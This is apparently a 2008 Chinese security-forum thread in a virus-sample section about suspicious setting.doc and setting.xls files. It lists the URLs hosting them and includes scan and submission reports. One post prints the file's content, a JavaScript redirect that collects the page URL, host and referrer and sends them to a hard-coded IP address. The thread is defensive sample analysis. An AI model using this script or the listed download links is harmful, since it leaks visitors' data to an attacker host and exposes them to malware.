doc/xls成病毒？

显示全部楼层 · 发表于 2008-6-1 19:04:50

地址：

http://setting3.yeahost.com/setting.doc
http://setting3.yeahost.com/setting.xls
http://setting3.9999mb.com/setting.doc
http://setting3.9999mb.com/setting.xls
http://www.freewebs.com/setting3/setting.doc
http://www.freewebs.com/setting3/setting.xls

显示全部楼层 · 发表于 2008-6-1 19:11:04

virus.rar 0.62/0.62KB 100.00% 在线扫描没有发现病毒，但这并不能说明此文件百分之百可信。2008-6-1 19:10:56 2008-6-1 19:11:05

显示全部楼层 · 发表于 2008-6-1 20:13:18

红伞miss。

显示全部楼层 · 发表于 2008-6-1 20:15:54

看看它的内容：...

<html><head><link rel="stylesheet" type="text/css" href="http://61.164.55.62:8080/css.css?aimt=233" /></head>
<script type="text/javascript">
var pp = "233&pre="+(new Date()).getTime();
var s=String(window.location.href);
var host=escape(s.substring(7,s.indexOf('/',7)));
var ref=escape(document.referrer);
s = escape(s);
if (self.location == top.location)
document.location="http://61.164.55.62/dnsA.aspx?AIMT="+s+"&host="+host+"&refer="+ref+"&server="+pp;
else
document.location="http://61.164.55.62/dnsB.aspx?AIMT="+s+"&host="+host+"&refer="+ref+"&server="+pp;
</script><body></body></html>

显示全部楼层 · 发表于 2008-6-1 20:15:59

报一个试试，感觉不太像，ＭＳ宏病毒的时代过去了
Suspicious Files and Miscellaneous Uploads

Thank you for your submission. Below you can see the current status of the uploaded files.

We received the following archive files:
File ID    Filename Size (Byte) Result
25033965    virus.rar 835 Byte OK

A listing of files contained inside archives alongside their results can be found below:
File ID    Filename Size (Byte) Result
25033966    setting.xls    623 Byte    UNDER ANALYSIS

Please find a detailed report concerning each individual sample below:
Filename Result
setting.xls    UNDER ANALYSIS

The file 'setting.xls' has been determined to be 'UNDER ANALYSIS'.
Please note that you will receive an email which will contain the results shown above. In case the final outcome of the analysis is not yet finished for all files the notification will be sent once ready.

Print this pagePrint this page

[病毒样本] doc/xls成病毒？

本帖子中包含更多资源

回复 1楼 qigang 的帖子